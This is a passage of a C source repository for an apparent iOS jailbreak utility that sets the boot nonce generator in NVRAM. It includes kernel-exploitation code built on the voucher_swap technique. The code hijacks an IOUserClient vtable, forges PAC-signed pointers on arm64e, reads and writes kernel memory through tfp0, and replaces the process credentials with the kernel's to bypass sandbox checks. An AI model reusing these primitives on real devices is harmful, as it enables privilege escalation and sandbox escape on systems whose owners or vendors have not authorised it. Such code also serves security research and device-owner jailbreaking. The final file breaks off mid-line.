IOUserClient__getTargetAndTrapForIndex = kernel_read_vtable_method( 191 | ADDRESS(IOUserClient__vtable), 192 | VTABLE_INDEX(IOUserClient, getTargetAndTrapForIndex)); 193 | vtable[VTABLE_INDEX(IOUserClient, getTargetAndTrapForIndex)] 194 | = IOUserClient__getTargetAndTrapForIndex; 195 | // Replace the original vtable's IOUserClient::getExternalTrapForIndex() method with 196 | // IORegistryEntry::getRegistryEntryID(). 197 | vtable[VTABLE_INDEX(IOUserClient, getExternalTrapForIndex)] = 198 | ADDRESS(IORegistryEntry__getRegistryEntryID); 199 | // Forge the pacia pointers to the virtual methods. 200 | size_t count = 0; 201 | for (; count < max_vtable_size / sizeof(*vtable); count++) { 202 | uint64_t vmethod = vtable[count]; 203 | if (vmethod == 0) { 204 | break; 205 | } 206 | #if __arm64e__ 207 | assert(count < VTABLE_PAC_CODES(IOAudio2DeviceUserClient).count); 208 | vmethod = kernel_xpaci(vmethod); 209 | uint64_t vmethod_address = kernel_buffer + count * sizeof(*vtable); 210 | vtable[count] = kernel_forge_pacia_with_type(vmethod, vmethod_address, 211 | VTABLE_PAC_CODES(IOAudio2DeviceUserClient).codes[count]); 212 | #endif // __arm64e__ 213 | } 214 | return count; 215 | } 216 | 217 | /* 218 | * stage2_patch_user_client 219 | * 220 | * Description: 221 | * Patch the user client in preparation for stage 3. 222 | */ 223 | static void 224 | stage2_patch_user_client(uint64_t *vtable, size_t count) { 225 | // Write the vtable to the kernel buffer. 226 | kernel_write(kernel_buffer, vtable, count * sizeof(*vtable)); 227 | // Overwrite the user client's registry entry ID to point to the IOExternalTrap. 228 | uint64_t reserved_field = user_client + OFFSET(IORegistryEntry, reserved); 229 | uint64_t reserved = kernel_read64(reserved_field); 230 | uint64_t id_field = reserved + OFFSET(IORegistryEntry__ExpansionData, fRegistryEntryID); 231 | kernel_write64(id_field, trap); 232 | // Forge the pacdza pointer to the vtable. 233 | uint64_t vtable_pointer = kernel_forge_pacda(kernel_buffer, 0); 234 | // Overwrite the user client's vtable pointer with the forged pointer to our fake vtable. 235 | kernel_write64(user_client, vtable_pointer); 236 | } 237 | 238 | /* 239 | * stage2_unpatch_user_client 240 | * 241 | * Description: 242 | * Undo the patches to the user client. 243 | */ 244 | static void 245 | stage2_unpatch_user_client() { 246 | // Write the original vtable pointer back to the user client. 247 | kernel_write64(user_client, original_vtable); 248 | } 249 | 250 | // ---- API --------------------------------------------------------------------------------------- 251 | 252 | bool 253 | stage1_kernel_call_init() { 254 | // Initialize the parameters. We do this first to fail early. 255 | bool ok = kernel_call_parameters_init(); 256 | if (!ok) { 257 | return false; 258 | } 259 | // Create the IOAudio2DeviceUserClient. 260 | ok = stage0_create_user_client(); 261 | if (!ok) { 262 | ERROR("could not create %s", "IOAudio2DeviceUserClient"); 263 | return false; 264 | } 265 | // Find the IOAudio2DeviceUserClient's IOExternalTrap. 266 | stage0_find_user_client_trap(); 267 | // Allocate the kernel buffer. 268 | ok = stage0_allocate_kernel_buffer(); 269 | if (!ok) { 270 | return false; 271 | } 272 | return true; 273 | } 274 | 275 | void 276 | stage1_kernel_call_deinit() { 277 | if (trap != 0) { 278 | // Zero out the trap. 279 | uint8_t trap_data[SIZE(IOExternalTrap)]; 280 | memset(trap_data, 0, SIZE(IOExternalTrap)); 281 | kernel_write(trap, trap_data, SIZE(IOExternalTrap)); 282 | trap = 0; 283 | } 284 | if (kernel_buffer != 0) { 285 | // Deallocate our kernel buffer. 286 | mach_vm_deallocate(mach_task_self(), kernel_buffer, kernel_buffer_size); 287 | kernel_buffer = 0; 288 | } 289 | if (MACH_PORT_VALID(connection)) { 290 | // Close the connection. 291 | IOServiceClose(connection); 292 | connection = MACH_PORT_NULL; 293 | } 294 | } 295 | 296 | uint64_t 297 | stage1_get_kernel_buffer() { 298 | assert(kernel_buffer_size >= 0x2000); 299 | return kernel_buffer + kernel_buffer_size - 0x1000; 300 | } 301 | 302 | uint32_t 303 | stage1_kernel_call_7v(uint64_t function, size_t argument_count, const uint64_t arguments[]) { 304 | assert(function != 0); 305 | assert(argument_count <= 7); 306 | assert(argument_count == 0 || arguments[0] != 0); 307 | assert(MACH_PORT_VALID(connection) && trap != 0); 308 | // Get exactly 7 arguments. Initialize args[0] to 1 in case there are no arguments. 309 | uint64_t args[7] = { 1 }; 310 | for (size_t i = 0; i < argument_count && i < 7; i++) { 311 | args[i] = arguments[i]; 312 | } 313 | // Initialize the IOExternalTrap for this call. 314 | uint8_t trap_data[SIZE(IOExternalTrap)]; 315 | FIELD(trap_data, IOExternalTrap, object, uint64_t) = args[0]; 316 | FIELD(trap_data, IOExternalTrap, function, uint64_t) = function; 317 | FIELD(trap_data, IOExternalTrap, offset, uint64_t) = 0; 318 | kernel_write(trap, trap_data, SIZE(IOExternalTrap)); 319 | // Perform the function call. 320 | uint32_t result = IOConnectTrap6(connection, 0, 321 | args[1], args[2], args[3], args[4], args[5], args[6]); 322 | return result; 323 | } 324 | 325 | bool 326 | stage3_kernel_call_init() { 327 | uint64_t *vtable = stage2_copyout_user_client_vtable(); 328 | size_t count = stage2_patch_user_client_vtable(vtable); 329 | stage2_patch_user_client(vtable, count); 330 | free(vtable); 331 | return true; 332 | } 333 | 334 | void 335 | stage3_kernel_call_deinit() { 336 | if (original_vtable != 0) { 337 | stage2_unpatch_user_client(); 338 | original_vtable = 0; 339 | } 340 | } 341 | 342 | uint32_t 343 | kernel_call_7v(uint64_t function, size_t argument_count, const uint64_t arguments[]) { 344 | return stage2_kernel_call_7v(function, argument_count, arguments); 345 | } 346 | 347 | void 348 | assume_kernel_credentials(uint64_t *ucred_field, uint64_t *ucred) { 349 | uint64_t proc_self = kernel_get_proc_for_task(current_task); 350 | uint64_t kernel_proc = kernel_get_proc_for_task(kernel_task); 351 | uint64_t proc_self_ucred_field = proc_self + OFFSET(proc, p_ucred); 352 | uint64_t kernel_proc_ucred_field = kernel_proc + OFFSET(proc, p_ucred); 353 | uint64_t proc_self_ucred = kernel_read64(proc_self_ucred_field); 354 | uint64_t kernel_proc_ucred = kernel_read64(kernel_proc_ucred_field); 355 | kernel_write64(proc_self_ucred_field, kernel_proc_ucred); 356 | *ucred_field = proc_self_ucred_field; 357 | *ucred = proc_self_ucred; 358 | } 359 | 360 | void 361 | restore_credentials(uint64_t ucred_field, uint64_t ucred) { 362 | kernel_write64(ucred_field, ucred); 363 | } 364 | -------------------------------------------------------------------------------- /src/kernel_call/user_client.h: -------------------------------------------------------------------------------- 1 | /* 2 | * kernel_call/user_client.h 3 | * Brandon Azad 4 | */ 5 | #ifndef VOUCHER_SWAP__KERNEL_CALL__USER_CLIENT_H_ 6 | #define VOUCHER_SWAP__KERNEL_CALL__USER_CLIENT_H_ 7 | 8 | #include 9 | #include 10 | #include 11 | 12 | /* 13 | * stage1_kernel_call_init 14 | * 15 | * Description: 16 | * Initialize stage 1 of kernel function calling. 17 | * 18 | * Initializes: 19 | * kernel_call_parameters_init() 20 | * stage1_kernel_call_7v() 21 | */ 22 | bool stage1_kernel_call_init(void); 23 | 24 | /* 25 | * stage1_kernel_call_deinit 26 | * 27 | * Description: 28 | * Deinitialize stage 1 of kernel function calling. 29 | */ 30 | void stage1_kernel_call_deinit(void); 31 | 32 | /* 33 | * stage1_get_kernel_buffer 34 | * 35 | * Description: 36 | * Get the address of a 0x1000-byte scratch space in kernel memory that can be used by other 37 | * stages. 38 | */ 39 | uint64_t stage1_get_kernel_buffer(void); 40 | 41 | /* 42 | * stage1_kernel_call_7v 43 | * 44 | * Description: 45 | * Call a kernel function using our stage 1 execute primitive. 46 | * 47 | * Restrictions: 48 | * At most 7 arguments can be passed. 49 | * The return value is truncated to 32 bits. 50 | * At stage 1, only arguments X1 - X6 are controlled. 51 | * The function pointer must already have a PAC signature. 52 | */ 53 | uint32_t stage1_kernel_call_7v(uint64_t function, 54 | size_t argument_count, const uint64_t arguments[]); 55 | 56 | /* 57 | * stage3_kernel_call_init 58 | * 59 | * Description: 60 | * Initialize stage 3 of kernel function calling. 61 | * 62 | * Initializes: 63 | * kernel_call_7v() 64 | */ 65 | bool stage3_kernel_call_init(void); 66 | 67 | /* 68 | * stage3_kernel_call_deinit 69 | * 70 | * Description: 71 | * Deinitialize stage 3 of kernel function calling. 72 | */ 73 | void stage3_kernel_call_deinit(void); 74 | 75 | /* 76 | * assume_kernel_credentials 77 | * 78 | * Description: 79 | * Set this process's credentials to the kernel's credentials so that we can bypass sandbox 80 | * checks. 81 | */ 82 | void assume_kernel_credentials(uint64_t *ucred_field, uint64_t *ucred); 83 | /* 84 | * restore_credentials 85 | * 86 | * Description: 87 | * Restore this process's credentials after calling assume_kernel_credentials(). 88 | */ 89 | void restore_credentials(uint64_t ucred_field, uint64_t ucred); 90 | 91 | #endif 92 | -------------------------------------------------------------------------------- /src/kutils.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #include "kutils.h" 4 | #include "debug.h" 5 | #include "offsets.h" 6 | 7 | offsets_t offs; 8 | mach_port_t tfpzero; 9 | uint64_t kernel_base; 10 | 11 | kern_return_t init_offsets(void) { 12 | CFURLRef fileURL = CFURLCreateWithFileSystemPath(kCFAllocatorDefault, CFSTR("/jb/offsets.plist"), kCFURLPOSIXPathStyle, false); 13 | if (fileURL == NULL) { 14 | ERRORLOG("Unable to create URL"); 15 | return KERN_FAILURE; 16 | } 17 | CFDataRef off_file_data; 18 | SInt32 errorCode; 19 | Boolean status = CFURLCreateDataAndPropertiesFromResource( 20 | kCFAllocatorDefault, fileURL, &off_file_data, 21 | NULL, NULL, &errorCode); 22 | 23 | CFRelease(fileURL); 24 | if (!status) { 25 | ERRORLOG("Unable to read /jb/offsets.plist"); 26 | return KERN_FAILURE; 27 | } 28 | 29 | DEBUGLOG("off_file_data: %p", off_file_data); 30 | CFPropertyListRef offsets = CFPropertyListCreateWithData(kCFAllocatorDefault, (CFDataRef)off_file_data, kCFPropertyListImmutable, NULL, NULL); 31 | CFRelease(off_file_data); 32 | if (offsets == NULL) { 33 | ERRORLOG("Unable to convert /jb/offsets.plist to property list"); 34 | return KERN_FAILURE; 35 | } 36 | 37 | if (CFGetTypeID(offsets) != CFDictionaryGetTypeID()) { 38 | ERRORLOG("/jb/offsets.plist did not convert to a dictionary"); 39 | CFRelease(offsets); 40 | return KERN_FAILURE; 41 | } 42 | 43 | // TODO: CFStringGetCStringPtr is not to be relied upon like this... bad things will happen if this is not fixed 44 | kernel_base = (uint64_t)strtoull(CFStringGetCStringPtr(CFDictionaryGetValue(offsets, CFSTR("KernelBase")), kCFStringEncodingUTF8), NULL, 16); 45 | kernel_slide = (uint64_t)strtoull(CFStringGetCStringPtr(CFDictionaryGetValue(offsets, CFSTR("KernelSlide")), kCFStringEncodingUTF8), NULL, 16); 46 | SETOFFSET(kernel_task, (uint64_t)strtoull(CFStringGetCStringPtr(CFDictionaryGetValue(offsets, CFSTR("KernelTask")), kCFStringEncodingUTF8), NULL, 16)); 47 | #if __arm64e__ 48 | SETOFFSET(paciza_pointer__l2tp_domain_module_start, (uint64_t)strtoull(CFStringGetCStringPtr(CFDictionaryGetValue(offsets, CFSTR("PacizaPointerL2TPDomainModuleStart")), kCFStringEncodingUTF8), NULL, 16)); 49 | SETOFFSET(paciza_pointer__l2tp_domain_module_stop, (uint64_t)strtoull(CFStringGetCStringPtr(CFDictionaryGetValue(offsets, CFSTR("PacizaPointerL2TPDomainModuleStop")), kCFStringEncodingUTF8), NULL, 16)); 50 | SETOFFSET(l2tp_domain_inited, (uint64_t)strtoull(CFStringGetCStringPtr(CFDictionaryGetValue(offsets, CFSTR("L2TPDomainInited")), kCFStringEncodingUTF8), NULL, 16)); 51 | SETOFFSET(sysctl__net_ppp_l2tp, (uint64_t)strtoull(CFStringGetCStringPtr(CFDictionaryGetValue(offsets, CFSTR("SysctlNetPPPL2TP")), kCFStringEncodingUTF8), NULL, 16)); 52 | SETOFFSET(sysctl_unregister_oid, (uint64_t)strtoull(CFStringGetCStringPtr(CFDictionaryGetValue(offsets, CFSTR("SysctlUnregisterOid")), kCFStringEncodingUTF8), NULL, 16)); 53 | SETOFFSET(mov_x0_x4__br_x5, (uint64_t)strtoull(CFStringGetCStringPtr(CFDictionaryGetValue(offsets, CFSTR("MovX0X4BrX5")), kCFStringEncodingUTF8), NULL, 16)); 54 | SETOFFSET(mov_x9_x0__br_x1, (uint64_t)strtoull(CFStringGetCStringPtr(CFDictionaryGetValue(offsets, CFSTR("MovX9X0BrX1")), kCFStringEncodingUTF8), NULL, 16)); 55 | SETOFFSET(mov_x10_x3__br_x6, (uint64_t)strtoull(CFStringGetCStringPtr(CFDictionaryGetValue(offsets, CFSTR("MovX10X3BrX6")), kCFStringEncodingUTF8), NULL, 16)); 56 | SETOFFSET(kernel_forge_pacia_gadget, (uint64_t)strtoull(CFStringGetCStringPtr(CFDictionaryGetValue(offsets, CFSTR("KernelForgePaciaGadget")), kCFStringEncodingUTF8), NULL, 16)); 57 | SETOFFSET(kernel_forge_pacda_gadget, (uint64_t)strtoull(CFStringGetCStringPtr(CFDictionaryGetValue(offsets, CFSTR("KernelForgePacdaGadget")), kCFStringEncodingUTF8), NULL, 16)); 58 | SETOFFSET(IOUserClient__vtable, (uint64_t)strtoull(CFStringGetCStringPtr(CFDictionaryGetValue(offsets, CFSTR("IOUserClientVtable")), kCFStringEncodingUTF8), NULL, 16)); 59 | SETOFFSET(IORegistryEntry__getRegistryEntryID, (uint64_t)strtoull(CFStringGetCStringPtr(CFDictionaryGetValue(offsets, CFSTR("IORegistryEntryGetRegistryEntryID")), kCFStringEncodingUTF8), NULL, 16)); 60 | #endif 61 | CFRelease(offsets); 62 | 63 | return KERN_SUCCESS; 64 | } 65 | 66 | /***** mach_vm.h *****/ 67 | kern_return_t mach_vm_read( 68 | vm_map_t target_task, 69 | mach_vm_address_t address, 70 | mach_vm_size_t size, 71 | vm_offset_t *data, 72 | mach_msg_type_number_t *dataCnt); 73 | 74 | kern_return_t mach_vm_write( 75 | vm_map_t target_task, 76 | mach_vm_address_t address, 77 | vm_offset_t data, 78 | mach_msg_type_number_t dataCnt); 79 | 80 | kern_return_t mach_vm_read_overwrite( 81 | vm_map_t target_task, 82 | mach_vm_address_t address, 83 | mach_vm_size_t size, 84 | mach_vm_address_t data, 85 | mach_vm_size_t *outsize); 86 | 87 | kern_return_t mach_vm_allocate( 88 | vm_map_t target, 89 | mach_vm_address_t *address, 90 | mach_vm_size_t size, 91 | int flags); 92 | 93 | kern_return_t mach_vm_deallocate ( 94 | vm_map_t target, 95 | mach_vm_address_t address, 96 | mach_vm_size_t size); 97 | 98 | kern_return_t mach_vm_protect ( 99 | vm_map_t target_task, 100 | mach_vm_address_t address, 101 | mach_vm_size_t size, 102 | boolean_t set_maximum, 103 | vm_prot_t new_protection); 104 | 105 | // The vm_* APIs are part of the mach_vm subsystem, which is a MIG thing 106 | // and therefore has a hard limit of 0x1000 bytes that it accepts. Due to 107 | // this, we have to do both reading and writing in chunks smaller than that. 108 | #define MAX_CHUNK_SIZE 0xFFF 109 | 110 | size_t rkbuffer(uint64_t where, void *p, size_t size) { 111 | int rv; 112 | size_t offset = 0; 113 | while (offset < size) { 114 | mach_vm_size_t sz, chunk = MAX_CHUNK_SIZE; 115 | if (chunk > size - offset) { 116 | chunk = size - offset; 117 | } 118 | rv = mach_vm_read_overwrite(tfpzero, where + offset, chunk, (mach_vm_address_t)p + offset, &sz); 119 | if (rv || sz == 0) { 120 | ERRORLOG("error on rkbuffer(0x%016llx)", (offset + where)); 121 | break; 122 | } 123 | offset += sz; 124 | } 125 | return offset; 126 | } 127 | 128 | uint32_t rk32(uint64_t where) { 129 | uint32_t out; 130 | rkbuffer(where, &out, sizeof(uint32_t)); 131 | return out; 132 | } 133 | 134 | uint64_t rk64(uint64_t where) { 135 | uint64_t out; 136 | rkbuffer(where, &out, sizeof(uint64_t)); 137 | return out; 138 | } 139 | 140 | size_t wkbuffer(uint64_t where, const void *p, size_t size) { 141 | int rv; 142 | size_t offset = 0; 143 | while (offset < size) { 144 | size_t chunk = MAX_CHUNK_SIZE; 145 | if (chunk > size - offset) { 146 | chunk = size - offset; 147 | } 148 | rv = mach_vm_write(tfpzero, where + offset, (mach_vm_offset_t)p + offset, chunk); 149 | if (rv) { 150 | ERRORLOG("error on wkbuffer(0x%016llx)", (offset + where)); 151 | break; 152 | } 153 | offset += chunk; 154 | } 155 | return offset; 156 | } 157 | 158 | void wk32(uint64_t where, uint32_t what) { 159 | uint32_t _what = what; 160 | wkbuffer(where, &_what, sizeof(uint32_t)); 161 | } 162 | 163 | void wk64(uint64_t where, uint64_t what) { 164 | uint64_t _what = what; 165 | wkbuffer(where, &_what, sizeof(uint64_t)); 166 | } 167 | 168 | 169 | uint64_t kalloc(uint64_t size) { 170 | kern_return_t err; 171 | mach_vm_address_t addr = 0; 172 | err = mach_vm_allocate(tfpzero, &addr, size, VM_FLAGS_ANYWHERE); 173 | if (err != KERN_SUCCESS) { 174 | ERRORLOG("unable to allocate kernel memory via tfp0: %s 0x%x", mach_error_string(err), err); 175 | return 0; 176 | } 177 | return addr; 178 | } 179 | 180 | uint64_t kalloc_wired(uint64_t size) { 181 | mach_vm_address_t addr = 0; 182 | addr = kalloc(size); 183 | 184 | if (addr == 0) { 185 | ERRORLOG("Not wiring NULL"); 186 | return 0; 187 | } 188 | 189 | kern_return_t err = mach_vm_wire(mach_host_self(), tfpzero, addr, size, VM_PROT_READ|VM_PROT_WRITE); 190 | if (err != KERN_SUCCESS) { 191 | ERRORLOG("unable to wire kernel memory via tfp0: %s %x\n", mach_error_string(err), err); 192 | kfree(addr, size); 193 | return 0; 194 | } 195 | 196 | return addr; 197 | } 198 | 199 | void kfree(uint64_t kaddr, uint64_t size) { 200 | kern_return_t err; 201 | err = mach_vm_deallocate(tfpzero, kaddr, size); 202 | if (err != KERN_SUCCESS) { 203 | INFOLOG("unable to deallocate kernel memory via tfp0: %s %x\n", mach_error_string(err), err); 204 | } 205 | } 206 | 207 | size_t kread(uint64_t where, void *p, size_t size) { 208 | return rkbuffer(where, p, size); 209 | } 210 | 211 | size_t kwrite(uint64_t where, const void* p, size_t size) { 212 | return wkbuffer(where, p, size); 213 | } 214 | 215 | uint64_t get_proc_struct_for_pid(pid_t pid) 216 | { 217 | uint64_t proc = rk64(rk64(GETOFFSET(kernel_task)) + OFF_TASK__BSD_INFO); 218 | while (proc) { 219 | if (rk32(proc + OFF_PROC__P_PID) == pid) 220 | return proc; 221 | proc = rk64(proc + OFF_PROC__P_LIST); 222 | } 223 | return 0; 224 | } 225 | 226 | uint64_t get_address_of_port(pid_t pid, mach_port_t port) 227 | { 228 | uint64_t proc_struct_addr = get_proc_struct_for_pid(pid); 229 | uint64_t task_addr = rk64(proc_struct_addr + OFF_PROC__TASK); 230 | uint64_t itk_space = rk64(task_addr + OFF_TASK__ITK_SPACE); 231 | uint64_t is_table = rk64(itk_space + OFF_IPC_SPACE__IS_TABLE); 232 | uint32_t port_index = port >> 8; 233 | const int sizeof_ipc_entry_t = 0x18; 234 | uint64_t port_addr = rk64(is_table + (port_index * sizeof_ipc_entry_t)); 235 | return port_addr; 236 | } 237 | 238 | uint64_t task_self_addr(void) { 239 | uint64_t port_addr = get_address_of_port(getpid(), mach_task_self()); 240 | return port_addr; 241 | } 242 | -------------------------------------------------------------------------------- /src/kutils.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | #include 6 | 7 | #define SETOFFSET(offset, val) (offs.offset = val) 8 | #define GETOFFSET(offset) offs.offset 9 | 10 | typedef struct { 11 | uint64_t kernel_task; 12 | uint64_t paciza_pointer__l2tp_domain_module_start; 13 | uint64_t paciza_pointer__l2tp_domain_module_stop; 14 | uint64_t l2tp_domain_inited; 15 | uint64_t sysctl__net_ppp_l2tp; 16 | uint64_t sysctl_unregister_oid; 17 | uint64_t mov_x0_x4__br_x5; 18 | uint64_t mov_x9_x0__br_x1; 19 | uint64_t mov_x10_x3__br_x6; 20 | uint64_t kernel_forge_pacia_gadget; 21 | uint64_t kernel_forge_pacda_gadget; 22 | uint64_t IOUserClient__vtable; 23 | uint64_t IORegistryEntry__getRegistryEntryID; 24 | } offsets_t; 25 | 26 | extern offsets_t offs; 27 | 28 | extern mach_port_t tfpzero; 29 | extern uint64_t kernel_base; 30 | extern uint64_t kernel_slide; 31 | 32 | kern_return_t init_tfpzero(void); 33 | kern_return_t init_offsets(void); 34 | 35 | size_t rkbuffer(uint64_t where, void *p, size_t size); 36 | uint32_t rk32(uint64_t where); 37 | uint64_t rk64(uint64_t where); 38 | 39 | size_t wkbuffer(uint64_t where, const void *p, size_t size); 40 | void wk32(uint64_t where, uint32_t what); 41 | void wk64(uint64_t where, uint64_t what); 42 | 43 | uint64_t kalloc(uint64_t size); 44 | uint64_t kalloc_wired(uint64_t size); 45 | void kfree(uint64_t kaddr, uint64_t size); 46 | 47 | size_t kread(uint64_t where, void *p, size_t size); 48 | size_t kwrite(uint64_t where, const void* p, size_t size); 49 | 50 | uint64_t get_proc_struct_for_pid(pid_t pid); 51 | uint64_t get_address_of_port(pid_t pid, mach_port_t port); 52 | 53 | uint64_t task_self_addr(void); 54 | -------------------------------------------------------------------------------- /src/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #include "unlocknvram.h" 7 | #include "nonce.h" 8 | #include "kutils.h" 9 | #include "debug.h" 10 | #include "patchfinder64.h" 11 | #include "parameters.h" 12 | #include "kc_parameters.h" 13 | #include "kernel_memory.h" 14 | #include "offsets.h" 15 | #include "kernel_call.h" 16 | 17 | void printusage(void) { 18 | printf("-h this message\n"); 19 | printf("-q stay quiet\n"); 20 | printf("-v be more verbose\n"); 21 | printf("-V even more verbose\n"); 22 | printf("-U skip unlocking nvram\n"); 23 | printf("-L DONT DO THIS skip locking nvram back -- stays unlocked till reboot\n"); 24 | printf("-g print generator (when combined with s/d prints twice)\n"); 25 | printf("-s [val] set generator (WARNING: NO VALIDATION PERFORMED)\n"); 26 | printf("-d delete generator (conflicts with s)\n"); 27 | } 28 | 29 | int gethelper(int setdel) { 30 | char *gen = getgen(); 31 | if (gen != NULL) { 32 | printf("%s\n", gen); 33 | free(gen); 34 | } else { 35 | printf("nonce_not_set\n"); 36 | if (!setdel) { 37 | return 1; 38 | } 39 | } 40 | 41 | return 0; 42 | } 43 | 44 | int main(int argc, char *argv[]) { 45 | int get, set, del; 46 | char *gentoset = NULL; 47 | get = set = del = 0; 48 | 49 | int nounlock = 0; 50 | int nolockback = 0; 51 | 52 | char c; 53 | while ((c = getopt(argc, argv, "hqvVUrgds:L")) != -1) { 54 | switch (c) { 55 | case 'h': 56 | printusage(); 57 | return EXIT_SUCCESS; 58 | 59 | case 'q': 60 | loglevel = lvlNONE; 61 | break; 62 | case 'v': 63 | loglevel = lvlINFO; 64 | break; 65 | case 'V': 66 | loglevel = lvlDEBUG; 67 | break; 68 | 69 | case 'U': 70 | nounlock = 1; 71 | break; 72 | 73 | case 'g': 74 | get = 1; 75 | break; 76 | 77 | case 'd': 78 | del = 1; 79 | break; 80 | 81 | case 's': 82 | set = 1; 83 | gentoset = optarg; 84 | break; 85 | 86 | case 'L': 87 | nolockback = 1; 88 | printf("ARE YOU SURE? YOU HAVE 3 SECONDS TO CANCEL\n"); 89 | sleep(3); 90 | break; 91 | 92 | case '?': 93 | ERRORLOG("Unknown option `-%c'", optopt); 94 | break; 95 | 96 | default: 97 | abort(); 98 | } 99 | } 100 | 101 | if (!(get || set || del)) { 102 | ERRORLOG("please specify g or s or d flag"); 103 | printusage(); 104 | return EXIT_FAILURE; 105 | } 106 | 107 | if (set && del) { 108 | ERRORLOG("cant set and delete nonce at once"); 109 | return EXIT_FAILURE; 110 | } 111 | 112 | if (init_tfpzero()) { 113 | ERRORLOG("failed to init tfpzero"); 114 | return EXIT_FAILURE; 115 | } 116 | 117 | if (init_offsets()) { 118 | ERRORLOG("failed to init offsets"); 119 | return EXIT_FAILURE; 120 | } 121 | 122 | #if __arm64e__ 123 | parameters_init(); 124 | kernel_task_port = tfpzero; 125 | current_task = rk64(task_self_addr() + OFF_IPC_PORT__IP_KOBJECT); 126 | kernel_task = rk64(GETOFFSET(kernel_task)); 127 | kernel_call_init(); 128 | #endif 129 | 130 | int retval = EXIT_SUCCESS; 131 | 132 | if (!nounlock) { 133 | if (unlocknvram()) { 134 | ERRORLOG("failed to unlock nvram, but trying anyway"); 135 | } 136 | } 137 | 138 | if (get) { 139 | retval = gethelper(set || del); 140 | DEBUGLOG("gethelper: %d", retval); 141 | } 142 | 143 | if (del) { 144 | retval = delgen(); 145 | DEBUGLOG("delgen: %d", retval); 146 | } 147 | 148 | if (set) { 149 | retval = setgen(gentoset); 150 | DEBUGLOG("setgen: %d", retval); 151 | } 152 | 153 | if (get && (set || del)) { 154 | retval = gethelper(set || del); 155 | DEBUGLOG("gethelper: %d", retval); 156 | } 157 | 158 | if (!nounlock && !nolockback) { 159 | if (locknvram()) { 160 | ERRORLOG("failed to lock nvram, can't do much about it"); 161 | } 162 | } 163 | 164 | #if __arm64e__ 165 | kernel_call_init(); 166 | #endif 167 | 168 | return retval; 169 | } 170 | -------------------------------------------------------------------------------- /src/nonce.c: -------------------------------------------------------------------------------- 1 | #include "nonce.h" 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | #define kIONVRAMDeletePropertyKey "IONVRAM-DELETE-PROPERTY" 12 | #define kIONVRAMForceSyncNowPropertyKey "IONVRAM-FORCESYNCNOW-PROPERTY" 13 | 14 | #define nonceKey "com.apple.System.boot-nonce" 15 | 16 | #include "debug.h" 17 | 18 | // thx PhoenixNonce 19 | 20 | CFMutableDictionaryRef makedict(const char *key, const char *val) { 21 | CFStringRef cfkey = CFStringCreateWithCStringNoCopy(NULL, key, kCFStringEncodingUTF8, kCFAllocatorNull); 22 | CFStringRef cfval = CFStringCreateWithCStringNoCopy(NULL, val, kCFStringEncodingUTF8, kCFAllocatorNull); 23 | 24 | CFMutableDictionaryRef dict = CFDictionaryCreateMutable(NULL, 0, &kCFCopyStringDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks); 25 | if(!cfkey || !dict || !cfval) { 26 | ERRORLOG("failed to alloc cf objects {'%s': '%s'}", key, val); 27 | return NULL; 28 | } else { 29 | DEBUGLOG("made dict {'%s': '%s'}", key, val); 30 | } 31 | CFDictionarySetValue(dict, cfkey, cfval); 32 | 33 | CFRelease(cfkey); 34 | CFRelease(cfval); 35 | return dict; 36 | } 37 | 38 | int applydict(CFMutableDictionaryRef dict) { 39 | int ret = 1; 40 | 41 | io_service_t nvram = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IODTNVRAM")); 42 | if(!MACH_PORT_VALID(nvram)) { 43 | ERRORLOG("Failed to get IODTNVRAM service"); 44 | } else { 45 | kern_return_t kret = IORegistryEntrySetCFProperties(nvram, dict); 46 | DEBUGLOG("IORegistryEntrySetCFProperties: 0x%x (%s)\n", kret, mach_error_string(kret)); 47 | if(kret == KERN_SUCCESS) { 48 | ret = 0; 49 | } 50 | } 51 | 52 | return ret; 53 | } 54 | 55 | char* getval(const char *key) { 56 | // IORegistryEntryCreateCFProperty seems to fail, btw 57 | 58 | char buf[1024]; 59 | unsigned int length = sizeof(buf); 60 | kern_return_t err; 61 | 62 | io_service_t nvram = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IODTNVRAM")); 63 | if(!MACH_PORT_VALID(nvram)) { 64 | ERRORLOG("Failed to get IODTNVRAM service"); 65 | return NULL; 66 | } 67 | 68 | err = IORegistryEntryGetProperty(nvram, key, (void*)buf, &length); 69 | DEBUGLOG("IORegistryEntryGetProperty(%s) == 0x%x (%s)\n", key, err, mach_error_string(err)); 70 | if (err != KERN_SUCCESS) { 71 | return NULL; 72 | } 73 | 74 | buf[length] = '\0'; 75 | return strdup(buf); 76 | } 77 | 78 | int makenapply(const char *key, const char *val) { 79 | int ret = 1; 80 | 81 | CFMutableDictionaryRef dict = makedict(key, val); 82 | if(!dict) { 83 | ERRORLOG("failed to make cf dict\n"); 84 | return ret; 85 | } 86 | 87 | ret = applydict(dict); 88 | 89 | if (ret) { 90 | ERRORLOG("applydict failed\n"); 91 | } 92 | 93 | CFRelease(dict); 94 | return ret; 95 | } 96 | 97 | int setgen(const char *gen) { 98 | int ret = 0; 99 | 100 | ret = makenapply(kIONVRAMDeletePropertyKey, nonceKey); 101 | 102 | // set even if delete failed 103 | ret = makenapply(nonceKey, gen); 104 | ret = ret || makenapply(kIONVRAMForceSyncNowPropertyKey, nonceKey); 105 | 106 | return ret; 107 | } 108 | 109 | char* getgen(void) { 110 | return getval(nonceKey); 111 | } 112 | 113 | int delgen(void) { 114 | return makenapply(kIONVRAMDeletePropertyKey, nonceKey); 115 | } 116 | -------------------------------------------------------------------------------- /src/nonce.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | int setgen(const char*); 4 | char* getgen(void); 5 | int delgen(void); 6 | 7 | -------------------------------------------------------------------------------- /src/offsets.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #define OFF_TASK__ITK_SPACE (kCFCoreFoundationVersionNumber >= 1535.12 ? 0x300 : 0x308) 4 | #if __arm64e__ 5 | #define OFF_TASK__BSD_INFO 0x368 6 | #else 7 | #define OFF_TASK__BSD_INFO (kCFCoreFoundationVersionNumber >= 1535.12 ? 0x358 : 0x368) 8 | #endif 9 | 10 | #define OFF_IPC_PORT__IP_KOBJECT 0x68 11 | 12 | #define OFF_IPC_SPACE__IS_TABLE 0x20 13 | 14 | #define SIZ_IPC_ENTRY_T 0x18 15 | 16 | #define 